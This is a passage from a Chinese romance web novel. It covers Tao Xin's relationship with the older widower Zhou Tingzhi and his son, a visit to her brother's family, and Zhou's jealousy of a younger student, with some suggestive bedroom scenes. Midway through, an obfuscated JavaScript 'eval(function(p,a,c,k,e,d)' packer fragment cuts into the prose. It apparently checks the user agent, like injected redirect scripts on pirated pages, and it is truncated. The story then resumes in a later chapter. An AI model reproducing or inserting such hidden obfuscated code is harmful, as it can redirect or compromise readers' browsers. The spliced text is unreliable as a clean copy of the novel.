陶欣怀疑她是故意说给周廷之听的。 可周廷之对周念没有那么浓情蜜意的关爱,不会像妈妈一样每天追在周念屁股后面叮嘱他穿衣吃饭,当然也没有那么丰厚的时间去关怀琴姨无处宣泄的一腔慈爱。 陶欣看在眼里,想到自己刚上大学那会,爸妈恨不得一天打八通电话,就觉得怪难受的。 “琴姐。”于是陶欣提议:“我们去逛街吧,这两天早晚有点冷了,我想买几件换季衣服,顺便,给周念买几件送去。” 琴姨庆幸自己有着超高水准的表情管理,不然就要在陶欣面前表演一个超绝变脸了。 “好呀,那太好了。”一向不爱吭声的琴姨突然间口若悬河:“果然家里还是要有一个女人的,周总再怎么样到底是个男人,本来就不比女人细心,工作又那么忙,哪有空想着换季要给孩子买衣服这种事,每次都是小念要买什么就找周总要钱,跟申请批款似的,所以小念才老是周总周总的叫,时间长了连我都习惯叫周总了……” 陶欣认真的听着,慢慢拼凑出这父子俩一直以来的相处模式。 其实不像父子。 只是周念从小没有爸爸妈妈,周廷之也没有真正养育过一个孩子,两个人都察觉不到问题。 哎。还有她这么一个年轻的准后妈,真是好畸形的家庭啊。 sales把十几个购物袋妥帖的放入琴姨那辆买菜车的后备箱里,白手套在腹部交叠,微微躬身:“陶小姐慢走,Prada期待您的下次光临。” 陶欣朝他们挥挥手,转头对琴姨说:“走吧,出发去周念学校。” 小白车缓缓移动,好一会才出停车场。不得不说,琴姨开车很慢。被人称作大妈的年纪把车开得像大妈,非常合理,更何况这辆车还是号称马路大妈的卡罗拉。 陶欣看着一辆辆车超过她们绝尘而去,终于忍不住说:“琴姐,要不让我开吧。” 琴姨双臂绷紧,目视前方:“陶小姐,你科一还没考下来,我都拿证七年了。” 陶欣震惊:“你七年驾龄还这么龟速?” 琴姨时刻保持着三百六十度无死角的防御模式:“我平时又不上路,就从家门口开到超市,路上根本都没车。” 陶欣点开微信,噼里啪啦就是一篇小作文,把前因后果交代清楚后才撂下一句中心思想:【琴姐才应该去重考驾照!!!】 【周廷之:琴姐是坏人,别再聊这个话题了。】 嗯?什么意思? 开慢车而已,也谈不上坏人吧。 陶欣不信任琴姨的防御模式,留了一只眼睛观察路况:“欸,这里不能掉头。” “怎么了?导航让在这掉头。” “这里是实线啊。” 导航重新规划了路线,果然前边不远处出现了左转及掉头的道路标识。 陶欣长叹一声说:“回来的时候我们还是找个代驾好了。” 琴姨沉默了一会,笑着说:“考驾照和正式上路还真是两回事,谁能想到我当时只用了一个月就把驾照考下来了呢。” 陶欣低下头,拿起手机,又是一通噼里啪啦:【琴姐果然是坏人!!!】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陶欣又不是傻子,怎么会听不懂周念的言下之意,当即就翻了脸:“我拜托你别这么阴暗,我好心好意关心你,你非觉得我是别有用心。” “无事不登三宝殿,你不觉得你现在的行为很像黄鼠狼给鸡拜年吗?” 那倒是,还挺像。 陶欣轻哼一声,懒得理周念了。 琴姨和陶欣相处这么多天,多少摸清了陶欣的脾气,即便知道作为保姆不该掺和雇主的事,也还是违背了职业操守,对周念板了板脸:“小念,不能这么说,陶小姐是见早晚冷了特意去买衣服给你送来的。” 琴姨极少摆出长辈的架子教训周念。周念一怔,第一反应是妲己施展妖术蛊惑了琴姨。 可琴姨是个女人啊,还是一个把他从小照顾到大的女人。 周念抿了下唇,语气不耐烦,声音却很软:“好了,还吃不吃饭,我好饿。” 琴姨朝陶欣递了一个充满歉意的眼神,显然这就是大少爷低头示弱的方式了。 八岁的小屁孩,陶欣不跟他计较:“你放心,短时间内我是不会跟周廷之结婚的。” 陶欣说“我不会”,而不是“周廷之不会”,周念不能理解,在他看来陶欣应该迫不及待地想用婚姻绑住周廷之才对。 犹豫了一下,周念问:“……为什么?” 连民事行为能力都没有结个屁婚。 陶欣当然不能这么说。 她深知周廷之是周念的心肝宝贝好daddy,在周念眼里天底下没有比周廷之更好的男人,所以故意气周念:“我还这么年轻,得好好挑一挑啊,怎么能轻易迈入婚姻的坟墓呢。” 周念果然气的不得了,马上就要打电话给周廷之告状。 陶欣没想到他这么当真,不想自己的玩笑话传到敏感脆弱的男朋友耳朵里,赶紧扑上去抢周念的手机:“你别呀,我跟你开玩笑的。” 她越抢周念越要打,两个人你争我夺谁都不肯放手,琴姨劝也没用。 就在这时,一个周念的男同学路过,和和气气冲着周念一笑:“你女朋友啊,真……” 男同学话说一半,两人齐齐扭头瞪他,然后都像吞了苍蝇似的各退了一步。 40-50 第41章 第41章而那男人转过头来,微弱…… 跨年这天晚上,陶欣和周廷之并没有浪漫的约会。 才十一点钟,陶欣就累的睡着了。 周廷之伸手抚平她身上那件柔软的真丝睡裙。柳树抽芽般清亮的嫩绿色,淋了黏腻的春雨,落了几点残冬的雪,看起来有些凌乱污浊。 可现在倒不好帮她换洗。 周廷之换上睡衣,去隔壁喂了两只小猫,看着它们把碗里的猫粮和羊奶都吃完,才关好门回了房间。 陶欣仍是刚刚的睡姿,她睡觉一直都很乖,喜欢微微侧着身,抱着一团被子。 周廷之坐在床边看她,情/欲褪去,又觉得她这样小,这样可怜,很怕自己太快老去,太早死掉。 忽然想起第一次去管理局,陈平提起那场非法实验的背景。主犯似乎是一个领先时代太久的天才学者,从始至终,都没有人能理解他,都当他是瘋子,他孤独的参透这世界,掌握时空的奥秘,太久太久,久到他已经老去,身体機能逐步衰退,他的智慧,他一生的成果,都将随着他的死亡而消逝。 他当然不甘心,所以产生了更瘋狂的想法,他要将年轻时的自己和巅峰期的自己一同带到当下时空,这样既能消解他漫长的寂寞,又能继承他未尽的遗志。 因为他疯狂且自私,丝毫不考虑后果的想法,才会使实验失控,从而引发了时空裂隙,造成后面一连串的惨剧。 周廷之最初听闻这件事,对那个疯子只有恨,恨不得他再死一千遍一万遍。 可现在看着陶欣,竟然可以理解他疯狂的想法。 倘若此刻生命即将走到尽头,周廷之不能信任任何人,不能将陶欣托付给任何人,大概也会选择放手一搏,让二十岁时的自己来到这个时空,陪伴陶欣度过余下的岁月。 他闭上眼,不知几时睡去,夜里似乎又莫名醒来,穿鞋下地,寻着熟悉的声音,走过昏暗的走廊,见书房的门半开着,里面有微弱的光。 周廷之站在门口,朝书房里看去,心猛地一沉。 书桌前站着一个男人,个子高,清瘦,短发,背对着他,将陶欣抱在怀里,做着那样亲密的事。 陶欣白皙纤细的双腿在乌木书桌下晃来晃去,潮红的面孔,无力的枕着男人的肩,眼神迷离,似乎看不见他。 周廷之用力推开门,惊动了两人。 陶欣的视线渐渐聚焦在他身上。 而那男人转过头来,微弱的灯光下是一张清隽的面容。 周廷之一身冷汗的从夢中惊醒,才意识到夢里抱着陶欣的男人是年轻时的自己。 “做噩夢了嗎?”陶欣也醒了,过来帮他拍一拍枕头,把枕头翻了个面,迷迷糊糊地说:“睡吧,这样就不会做噩梦了,我帮你把坏蛋赶跑了。” “……”周廷之抱住她,即便梦里的記忆这会已经不是很清楚了,心里却还酸涩的厉害。 可这种梦实在难以启齿。 陶欣浑然不觉,搂着他的腰,很快又在他怀里入睡。 而周廷之一闭上眼睛,脑海中就会浮现梦醒前最后那一瞬的情景,彻底睡不着了。 看看时间,凌晨四点。 现在不时兴跨年夜发祝福,朋友圈热闹非凡,聊天界面却很安静,只有少数几个人群发了新年快乐。 反正也睡不着,周廷之又拿起陶欣的手機。 给陶欣发祝福的人倒是很多,并且一看就不是群发。 尤其是李崇,他零点发了一条新年祝福,陶欣没回复,隔两个小时后居然又一连发了好几篇小作文,无非是说什么过去的事我已经放下了,希望你能原谅我,如果你不想见我,我会和你保持距离,但请你不要讨厌我,还愿意和我做朋友。 以及回忆往昔,回忆他们两个的高中时代,一起去日本滑雪,看樱花,一起去赶海,在海边放烟花,还有在烟花下的初吻。 周廷之冷笑,直接用陶欣的手機回复:【欣欣十一点就睡了,李总也早些睡吧,这个年纪熬夜很伤皮肤的】 【李崇:?】 【李崇:你凭什么偷看她手機】 跨年夜,李崇到现在都没睡,又絮絮叨叨说这么多废话,应該是喝了不少,但还没有到神志不清的地步。 周廷之打开自己的微信,慢条斯理地回复他。 【周廷之:这是欣欣今天送我的花[图片]】 【周廷之:这是我们俩养的小猫,一只叫陶剩剩,一只叫周美美[图片]】 【周廷之:这是今天晚上去她大哥大嫂家吃饭要带的礼物[图片]】 【周廷之:[相册截图]】 【周廷之:太多了,发到明天这时候也发不完】 【周廷之:李总就守着那点回忆当下酒菜吧[愉快]】 李崇没有回复。周廷之尝试给他转一分钱,确认自己没有被拉黑。 满意了。 他猜测李崇大概率是把手机砸了。 周廷之放下手机,终于可以安然入睡。 陶欣醒来时自然是看到了李崇发来的那几篇小作文,不过这几篇小作文实在太长了,还只有标点符号没有换行,一大堆字密密麻麻挤在一起,陶欣直接下拉到最后,扫了眼凌晨四点的几句对话。 起床问在洗手间刷牙的周廷之:“你怎么大半夜用我手机回消息啊?” 周廷之漱了口,看着镜子里的陶欣说:“是你让我回的。” “我?有嗎?” “你把手机拿给我,叫我回他的,你忘了吗?” 陶欣抿着唇,回忆,一点印象都没有。 周廷之洗了脸,转过身,因为个子比陶欣高很多,所以垂眸注视着她:“那你还記得高三那年在大连海边放烟花的事吗?” 初吻,很难忘记。 陶欣窘了一下,裝模作样:“什么烟花?哦!我想起来了,是我把手机拿给你,叫你帮我回的,哎呀我真是睡糊涂了。” 周廷之学她,学周念,轻轻哼一声,又转向镜子,将剃须泡沫慢慢涂在脸上。 陶欣非常心虚,并不是因为和李崇在海边的初吻,而是她第一次亲过周廷之后,很娇羞的跟他说了一句“这可是我的初吻”。 谈恋爱嘛,那个氛围下,就是忍不住撒谎啊。 而周廷之当时面红耳赤,声音软软的回了一句“我也是”。 早知有今日,还不如不说,眼神娇羞一点就够了呀,周廷之又不傻,肯定明白的。哎,到底没经验,留下罪证了。 陶欣看他拿起剃须刀,殷勤的凑上去:“我帮你吧。” 周廷之觑她一眼,把剃须刀递过来:“你能行吗?” “这有什么难的,你坐下,太高了,我有点够不到。” “慢点,很锋利的,别割到手。” “你别说话呀,你说话我緊张,安静些。” “……不用憋着气。” 陶欣才意识到,停下手调整呼吸。 下午,他们带着礼品去大哥大嫂家。周廷之第一次登门拜访,特意穿的很日常,灰毛衣,牛仔裤,一双白色休闲鞋,整体看上去干净清爽,很显年轻,不过三十上下的样子。 临敲门前,陶欣帮他整理了一下头发。 “你不要緊张。”周廷之说:“本来我不紧张,被你影响,现在心跳好快。” “这还能怪到我身上?”陶欣作势要走:“那你自己进去吧。” “别。”周廷之把她拽回来,神情真有些凝重:“你这样我更紧张。” 陶欣忍不住笑:“你紧张什么啊,我大哥答应见你就是不反对我们俩的事呀。” 周廷之深吸了口气,拎起地上的礼品,以一种大义凛然的语气吩咐陶欣:“敲门。” 知道他们这时间来,陶书華夫妻俩一直等在客厅,门敲两声,很快就被打开了。 热情的大嫂笑着招呼道:“这就是廷之吧,来就来嘛,还拿这么多东西,家里就我跟你大哥两个人,也是白白放着。” 周廷之马上便说:“以后我们每周来两次,就怕那时候家里东西該不够用了。” 相较之下,大哥冷淡一些。 陶书華本来就不是能说会道的人,再加上他看周廷之总有那么一点不顺眼,自然就热情不起来。 好在周廷之早有准備,拿出自己准備的礼物。不管怎么样,总有话说,总有事做。 “我上次来看家里用的还是老锁芯,出门忘带钥匙应该很不方便,你看,这是我们公司最新款的 智能安全门锁,可以输入密码解锁,门把手这里也可以用指纹解锁,上边这个是智能探头,如果有人靠近,会立刻把照片传到你手机里。” 大哥没什么反应,大嫂倒是很捧场:“这个好啊,以后出门不用拿钥匙了。” 周廷之笑着说:“那我现在裝上吧,左右也就十几分钟的事。” 他明摆着要献殷勤,连换锁的工具都准备好了,大嫂哪里会阻拦,还叫陶书華去帮忙搭把手。 周廷之虽然做了好些年的总工程师,但对基层工作仍是了若指掌,换锁的速度不亚于专业上门安装智能锁的师傅,陶欣在旁边都看傻了,完全不知道他还有这么一项技术。 这时四楼邻居走下来,见陶书华家在换锁,凑过来看热闹,注意那包装盒上智能锁的品牌,“哎呦”了一声说:“陶教授,你家怎么也换这个锁啊,老不好用了,那指纹按半天都打不开。” 周廷之动作一顿,站起身来:“您确定是华视的锁?” 老大姐有点不高兴:“欸你这小伙子,说的是什么话呀,几千块钱的锁我倒不至于记不得什么牌子吧,不好用就是不好用,我还能胡说八道不成。” 陶书华背着手,摇摇头,完全是此处无声胜有声。 陶欣忙上前问:“那您没找售后反应?” “售后?孩子给买的,我不懂的啊。”老大姐问:“到哪里找售后啊?” “到陶教授家。”周廷之挽起袖口,又蹲下去装锁:“您稍等一会,我跟您上去看看问题出在哪,要是指纹解锁真有问题,我给您十倍退款。” 老大姐不明所以,悄声问陶书华:“我说锁不行,又不是说他不行,他怎么气成这个样子哦。” “差不多。”陶书华说:“都差不多。” 第42章 第42章只要她需要,他可以做任…… 其实近些年,周廷之已经很少在人际交往上费什么心了,一方面是应酬那一套流程早就烂熟于心,不用过多思考便可以脱口而出,足够敷衍寻常的社交场合,另一方面则是以他如今的身份地位,绝大多数时候都是旁人看他眼色行事,绞尽脑汁的奉承迎合,他开口前并不需要特意做出一番考虑。 不知道是不是因为太久没有这样去讨好一个人的缘故,在陶书华面前,周廷之忽然失去了往日的从容,旁人或许不觉得他有什么不对,可他自己很清楚那种说话做事似乎都不合时宜的感觉。 好像第一次和陶欣约会,剛见面就懊恼忘记替女朋友拉开车门,想着进商场的时候一定要帮她开门,却忘了冬天的商场还挂着门帘,倒要陶欣自己费力拨开,留出空隙叫他先进去。 他当时慌手慌脚往门帘里钻的样子,该有多蠢笨,那煎熬的滋味,和现在没什么区别。 周廷之一边懊悔,一边检查了老大姐家的门鎖,重新调试了一次,又让老大姐来录入指纹。 老大姐录入指纹庄重的像在卖身契上按手印,可开鎖的时候就握着门把手随随便便往上一贴,智能鎖一下识别不出,发出“滴——”的一声说:“请重新尝试。” “你看吧,不好用的嘛,我多试几次就自动锁定了。” 看出问题在哪,周廷之暂时放过了研发设计部的员工:“您这样,稍微调整手指的位置,有时候手里拿东西可能没办法那么准确的贴在正中心。” 在周廷之的指导下,门锁问题顺利解决了,老大姐很高兴,这会才有闲情逸致欣赏周廷之那张可以通杀四十岁以上成熟女性的英俊面孔。 “你这个小伙子蛮不错嘛,个子高,长得帅,服务态度又好。”她以为周廷之是上门装锁的员工,便说:“你把你们公司的地址和你的工号写给我,回头我就给你公司写表扬信,叫你们老板给你发奖金。” 周廷之抿唇一笑,正要开口推辞,就听老大姐紧接着说:“不过一个门锁卖几千块,你们老板也够黑的,我看未必能给你发奖金。” 陶欣实在没忍住笑出了声,惹来老大姐探究的目光。 怕老大姐将矛头指向她,陶书华忙站出来打圆场:“表扬信就算了,大姐,你不是要出门买菜吗?楼下超市好像鸡蛋有促销,三块六一斤,去晚就没了。” 比起帅哥,还是三块六一斤的鸡蛋更重要,老大姐拎起菜篮子,匆匆忙忙去抢鸡蛋了。 她走了,三人也跟着往楼下走,陶欣还在笑,问周廷之:“你剛才欲言又止想说什么啊,该不会要给人家大姐介绍一下你们华视门锁的最新科技吧。” “你当我傻吗,她又不懂什么最新科技。” “那你想说什么啊?我看你剛剛分明是有话想说的。” 周廷之看着陶书华的背影,仿佛在回答陶欣:“……那款智能门锁的显示屏,一整块都是蓝宝石材质的,造价真的很贵,卖三千二很合理。” 听他这样说,陶欣愈发乐不可支,险些一脚踩空了从楼梯上跌下去。 周廷之伸手扶住她,倒也不由得弯起嘴角:“至于吗,笑成这样。” “不好笑吗?你们三刚才像是在演小品,简直太逗了。” 走在前边的陶书华仍背着手,冷不防来一句:“现在的小品可一点都不好笑。” 陶欣又被戳中笑点,一时笑得眼角都泛出泪光了。 在厨房打理青菜的大嫂听到笑声探出半个身子向外看:“怎么了,这么高兴。” “大嫂,我跟你说啊,刚刚……”陶欣绘声绘色给大嫂讲述刚刚发生的趣事,大嫂举着一双湿淋淋的手在旁边听的很认真。 陶书华系上围裙,把她倆往外推了推:“你们倆到客厅聊去,在这碍手碍脚,我都没法做飯。” 陶书华说的是“你们俩”,显然是指陶欣和大嫂。 周廷之微笑。 天晓得此时此刻他有多想和陶欣大嫂腻在一起,哪怕是聊一聊女性養生的话题他也甘之如饴。 可他不能。 周廷之微笑着主动走进厨房:“大哥,我来帮你吧。” 陶书华不意外周廷之会跟进来。要是连这点觉悟都没有,在当年就不可能有机会跟他妹妹谈恋愛。 “听陶欣说你家是请了阿姨做饭的,平时应该不进厨房吧。” “这些年工作忙,确实不经常自己做飯了,不过打打下手还是没问题的。” “哦,那蝦会收拾吗?把虾线挑出来就行。” 周廷之看向水槽里那一盆大蝦。 活的。 很大只。 周廷之伸手触碰,蝦在他掌心里跳探戈。 陶书华应该不是想为难他,看他迟迟不动手,以为他不会,语气寻常的教他步骤:“用剪子斜着剪一刀虾头,然后往外一扯虾线就出来了。” 周廷之拿起剪子,晶莹剔透的大虾,两只黑色的小豆眼在注视着他,竟然还有点萌萌的。 “大哥。”周廷之放下剪子,故作轻松地笑:“要不我干点别的吧,没处理过活虾,有点下不去手。” 陶书华是有涵養的文化人,自然不会因为他不敢处理活虾就对他冷嘲热讽,只是叫他去剥一头蒜。 剥蒜好,蒜好,什么蒜啊长这么好,轻轻一剥蒜皮就下来了,简直是全世界最懂事的蒜,难道国家没有任何一个机构可以给这头蒜颁奖吗? 周廷之这样想着,三两下好就把蒜剥好了,这回不用陶书华说,他自己就找到了工作节奏,到一边去摘香菜掰四季豆。 陶书华好看了他一眼说:“元旦放假,你儿子不回家过节吗?” 就算没有血缘关系,当儿子养了这么多年也和親生无异了,何况 两个人有那么近一层血缘关系,还长得如此相似。 无论人前人后,当着谁的面,周廷之不可能开口说周念是他侄子。 “他和朋友一起去旅行了。” “陶欣说他们两个相处的还不错,你儿子能接受你找一个和他年纪相仿的女朋友?” 周廷之很清楚,这才是陶书华对他始终不冷不热的根本原因。他和陶欣之间虽然存在好十八岁的年龄差,但陶欣有着非同一般的美丽,他也不逊色,极少有人会认为陶欣是为了钱屈就,才选择一个比自己大那么多的男人,如果没有周念,他和陶欣的社会评价勉强可以说是半斤八两。 只是因为周念的存在,陶欣不得不顶着“继母”“后媽”亦或是“小后媽”这样难听的头衔。 或许这样的头衔并不会对陶欣的生活造成任何影响,可那是陶欣,她一生下来就被夸赞是美人坯子,会走路的年纪就学会了跟着音乐的节奏跳舞,其他小朋友要用很长时间才能驾驭的自行车和滑板鞋,她仿佛天生就知道如何踩着轮子前行。 陶欣生命中的前二十年,都成长在鲜花掌声与旁人艳羡的目光里,她的二十岁,可以像小女生一样期盼着婚姻,期盼着和愛人孕育新生命,做一个和孩子一起在雨天踩水的小媽妈,却不应当成为谁的“后妈”或是“小后妈”。 “他们两个还算合得来。”周廷之只能说:“小念……是把欣欣当朋友。” 周廷之的两难,陶书华完全可以理解,倘若周廷之为了博取陶欣歡心,就不顾自己当儿子养了十八年的周念,那陶书华反而要厌恶他这份自私和残忍。 而陶欣在客厅给大嫂讲述完刚刚上演的“小品”,又拉着大嫂到厨房门口:“大哥,有没有什么要我们帮忙的啊,坐在那等着吃似乎不太好。” 陶书华切着肉:“我看你是醉翁之意不在酒。” “我真是想帮忙嘛,再说你们俩在厨房多闷啊,我和大嫂还能陪你们说说话,过节嘛,就是要热闹一点,对吧。” 她这样一说,大嫂忽然想起来孟和光,问陶书华:“小孟元旦回家了吗?别又是一个人在实验楼里吃饼干。” 看来之前发生过这样的事,才会让大嫂印象这么深刻。 “我这两天没见到他,还真没问,你去打个电话问问吧,他要是晚上没地方吃飯就叫他一起来吃。”转而又对周廷之说:“小孟不是外人。” 今天是元旦,过节,周廷之以陶欣男朋友的身份登门拜访,并不能算陶书华夫妻俩专门设宴招待他,临时请其他客人来当然也不算失礼。 周廷之笑了笑,表示理解。 大嫂在客厅茶几上找到自己的手机,深知孟和光不愿意给人添麻烦的性格,直接拨打了视频通话。 那边过一会才接起来:“师母,怎么了?” “你在哪呢?是不是还在学校?怎么黑乎乎的,脸也不露。” “啊,我这边占着手呢,不方便。” “你少来了,我还不知道你,下午六点开飯,过来一起吃,别叫我到实验楼抓你去。” 大嫂说完,很干脆的挂掉了电话,过去和陶书华吐槽:“这孩子真是着魔了,我看网上那些沉迷游戏的也没他上瘾,真应该送去电击一下。” 陶欣也觉得不可思议:“还有人学习上瘾呢?” 陶书华说:“对未知领域有好奇心就会对学习上瘾,小孟就有一颗执着的好奇心。” 他对孟和光的评价异常之高。陶欣想,这真是愛徒了,和孟和光相比,她这个妹妹恐怕也不够看的,何况周廷之呢,哎…… 一想到孟和光待会来,周廷之肯定要在陶书华这里受冷落,陶欣就不自觉地嘟了嘟嘴。 说是六点开饭,孟和光倒不会真就卡着饭点登门,五点过半的时候他就来了。 陶书华最先听到敲门声,不确定地问:“是不是有人敲门?” 大嫂说:“应该是小孟来了。” 陶欣便站起身来说:“我去开门。” 门向外推开,陶欣先看到孟和光手里拎的一大堆东西,随后才抬眸看向他的脸,一怔,差点没认出来。 孟和光是先去剪了头发才来的,因为图方便省事,头发一下子剪的很短,完完全全的露出眉眼,整个人看上去清爽干净,甚至有几分学霸的清冷感, “欸,你……” “怎么,剪个头发就不认识了” “反差是有点大。” “帅吗?” 长相这东西还真是对一个人的性格起到至关重要的作用,明明他的语气和说话方式都和之前一个样,可在陶欣听来似乎连声音都比之前有磁性了,也不像之前那么贱嗖嗖的了。 俊男靓女,谁不欣赏,陶欣要是不喜歡帅哥,当年又怎么会主动追求周廷之。 不过单身的欣赏和非单身的欣赏是两回事。陶欣笑着夸了句帅,就转头对厨房里的大哥大嫂说:“是小孟。” 大嫂出来了,果然还是那句:“怎么拿这么多东西啊。” “这我还分出去几盒呢,都是我妈寄来的。”孟和光拎着东西进门,一眼就看到了玄关处周廷之带来的礼品,其中有一盒阿胶和他手里的一模一样,孟和光笑了笑,对陶欣说:“早知道先跟你通个气了,怎么还买重了。” 他说着放下东西往厨房的方向看,见到周廷之,明显有点意外。 照旧是大嫂介绍:“这是欣欣的男朋友,小孟,你大哥的学生,都是自己人,不用觉得拘束。” 周廷之的视线落在孟和光脸上:“你好,我姓周,周廷之。” 孟和光笑起来:“看来周大哥不记得我了,以前我们见过的,我父親五十六岁生日,在平宁饭店。” 提及见面的地点,周廷之有了点印象,便也笑着说:“我想起来了,你是孟董的儿子。” “是啊,记得那年我上高三,我父亲还说要我向周大哥学习,争取考上周大哥的母校。” 听他们这说,大嫂也很惊奇:“世界倒是够小的。” 这世界的确是很小,孟和光没说当年孟家才是安防产业的龙头老大,却被周廷之这个后起之秀逐步蚕食取代,到现在只能跟在华视屁股后面吃点残羹剩饭,以至于老孟董一提起周廷之都恨的牙根痒痒,多少次想买通华视总部的保洁阿姨,叫她用开水烫死华视大楼里所有的招财树。 孟和光前阵子回过一趟家,饭桌上也是没少听父亲痛骂周廷之臭不要脸老牛吃嫩草什么的,其中有一句,他记得很清楚,抛开污言秽语,大概是说周廷之命好,什么好事都占尽了,找个小女朋友对他还是真爱,看他的眼神都叫人倒胃口。 如今看来,所言非虚。 陶欣的视线一落到周廷之身上,乌黑的瞳仁就会显出几分光亮,是那种只是看到他就歡喜雀跃的眼神,很纯粹,很真挚。 难怪父亲破大防。想来,在此之前,父亲虽恨华视把他们孟家挤得没有立足之地,但周廷之一个年近四十的鳏夫,一个不沾风月红尘的孤家寡人,可恨也可恨的十分有限。 现在可倒好了,事业有成名利双收的年纪,不知打那冒出这么一个穿上校服就是女高中生的小女朋友,如此美丽娇俏,还全心全意爱他。 孟和光想,他爹没有叫周廷之一下子气死过去,已经可以称得上老当益壮。 “小孟,吃菜呀,别拘束。” 孟和光回过神,笑着说:“谢谢师母,我自己夹就好了。” 孟和光不在乎家里的生意,也清楚日后不会和周廷之有过多的交往,对周廷之自然也就谈不上喜恶,吃完饭便起身告辞。 陶书华送他到楼下:“这么急着走,是觉得不自在?” “没有啊师父,我都把你家当自己家一样,怎么会不自在呢。”孟和光拉上外套的拉链,笑得很开朗:“我是怕你这第一次上门的妹夫不自在。” 他和陶欣 其实有几分相似,都是底色纯洁没有阴霾的年轻人,陶书华第一次看到孟和光,就不由自主地想到了陶欣,所以这些年对他总是格外照顾些。 “师父,那我走了,你赶紧上去吧,外边冷。” “好,回去吧。” 看着孟和光的背影,陶书华轻轻叹了口气。 稍晚一些的时候,陶欣和周廷之也告辞离开,因为周廷之陪着陶书华喝了几杯酒,回去是陶欣开车。 怕周廷之头晕,陶欣特意把车开的很平稳,离红灯还有一段距离就缓慢的踩了刹车,几乎是没有什么顿挫感的停在了停止线前。 两人闲聊,不知怎么提及了孟和光。 “你大哥好像很喜歡孟和光。” “可不嘛,我感觉他喜欢小孟要多于喜欢我。” “我今天看他也不是你说的那么不修边幅,挺整洁的一个人。” “他今天是剪头了,上周我见到他的时候那头发长的都挡眼睛,我估计也是接到电话临时去剪的头,大嫂一直催他来着,他不剪头多半连门都不会让他进。”陶欣说着便笑起来:“大嫂看上去温温柔柔的,倒是很有脾气,你注意到没,大哥刚才还要倒酒,大嫂瞪他一眼他就把酒瓶放下了。” 陶欣没有过多的谈论孟和光,她话题的中心始终围绕着大哥大嫂。 可周廷之那颗敏感多疑的心又在作乱。 他见到孟和光的第一眼,就敏锐的从那张脸上捕捉到自己年轻时的影子。这种相似并非周念那般五官上的相似,而是眉眼间的神情,气息,感觉上的相似。 周廷之看着窗外流动的光,记忆回到遥远的十八年前。 陶欣第一次介绍他和姚雪娜认识,姚雪娜见到他的第一眼,便笑着对陶欣说了一句——这才是你喜欢的类型嘛。 当年那句话里他在意的只有“喜欢”,可现在想来,姚雪娜一直都清楚李崇不是陶欣会喜欢的类型,一直都明确陶欣喜欢的异性是什么模样。 她对他一见钟情,是因为她喜欢他这种类型的异性。 刚刚在陶书华家吃饭的时候,陶欣的视线转向孟和光很多次,并且只看一眼就挪开了目光。他提及孟和光,她同样的很快把话题转到大嫂身上。 陶欣很有分寸,她在刻意回避,即便孟和光没表现出丝毫对她有好感的迹象,她也主动的划清了界限。 这和她对待陆晨和凌胜那种热情大方的态度截然不同。 她在主动避嫌。 可是,这之后她还是会经常去陶书华家,免不得见到孟和光。 而陶书华不喜欢他,一旦察觉陶欣对孟和光有好感,以陶书华对孟和光的喜爱,自然会想尽办法撮合这两个年轻人。 父母不在了,陶欣对陶书华又是那样依恋…… 想到这里,周廷之眸色暗了暗,夜晚也似乎变得浓重,像是小时候被周廷谦带出去玩,走失后无边无际的黑暗。 “欸,这个歌好听啊。”随机歌单里播放了一首符合陶欣口味的流行音乐,她立刻调大了音量,跟着节奏轻轻敲击着方向盘,过了一会便郑重宣布说:“我决定了,这首歌就是我近期最爱。” 前几天还哼情歌,今天就爱摇滚。 二十岁,还没有到定性的年纪,就像快乐的小狗,追逐尾巴的同时如果有蝴蝶飞过,也会被吸引,短暂的追逐片刻。 喜欢的类型,大概也会变吧。 何况爱好是可以培养的。 他会跪下来,迎合她,取悦她,会尝试穿那些她喜欢的衣服,随她拍摄,记录。 只要她需要,他可以做任何事。 孟和光一定做不到。 回到家,家里没人。琴姨今天放假,周念跟朋友去旅行,推开门,房子里格外静谧,仿佛客厅的钟发出滴滴答答的响声。 这样的夜晚,似乎适合发生点什么。 可陶欣昨天吃得太饱,兴致缺缺,洗完澡就躺在那里看起甄嬛传,她闲着没事,追剧很快,已经快看到莞莞类卿那段了。 身上盖着的被子微微一动。 陶欣感觉到了,推开床边的ipad支架,忍不住笑:“你干嘛呀,学祺贵人呢?” 周廷之一点一点爬上来,钻出被子,陶欣最先看到的却并不是他茂密的黑发,而是前段时间从三亚寄到家里的某一对兽耳。 再往下,是一张泛着潮红的俊脸,刚洗完澡,又在被子里闷了一会,汗津津的。 “……喜欢吗?” “你就只戴了这个吗?” 周廷之握着她的手腕,引导她触碰身上冰凉的珠饰品,像阳光下连成串的雨滴,顺着白皙的皮肤滚落,每一刻都落在她的心间。 陶欣的眼神代替了她的回答。 她喜欢。 周廷之低下头,轻柔地吻一吻她的唇角。 第43章 第43章“陶欣!”孟和光叫住她…… 姚雪娜从泰国回来第一件事就是找陶欣出去吃饭。 两人约定在一家小私厨见面,地方挺偏的,可环境很好,有几分江南水乡的自然和巷子深处的宁静。 就是不太好停车。 陶欣倒了半天才把车挤进那紧紧巴巴的小车位,一进门就忍不住和姚雪娜抱怨:“外边那辆黑车怎么停的啊,就差压着线了,幸好我瘦,不然都下不来车。” 姚雪娜讪讪一笑:“你说那辆特斯拉啊。” “不会是你的吧?” “我男朋友的,这家店就是他开的,他在后厨炖鱼汤呢,待会介绍给你们认識。” 陶欣微怔,压低声音问:“你男朋友不是搞摄影的吗?” 姚雪娜笑笑:“你说的是前男友,那个人,太龟毛,我俩出发去泰国前就分手了,我想着反正機票酒店都订好了,干脆来一场单身旅行。” “那现在这个是?” “在泰国一家餐厅认識的,一聊才知道,我们同一班飞機,同一家酒店,还住在同一个城市,有缘分吧。” 陶欣点点头,承认很有缘分。 “好了,不说这个,看我都给你帶什么了,这个纸袋里都是你的。” “哇……你怎么买这么多包,这个好可爱。” “可爱吧,这个红色小格子的包我一看就说是你的包,感覺那家店好多东西都适合你,不知不覺就买了一大堆,这边还有丝巾,香水,银饰,这几个小玩偶是包的挂件。” 两人正说着话,一个系着围裙的男人掀开帘子走出来:“鱼汤好了。” 陶欣一看他,果然是姚雪娜喜欢的类型,看着天然无害,没什么攻击性,相当于是男人眼里单纯的甜妹。 “你还真是数十年如一日的口味啊。” “那怎么了,我就爱喝这口鱼汤。” 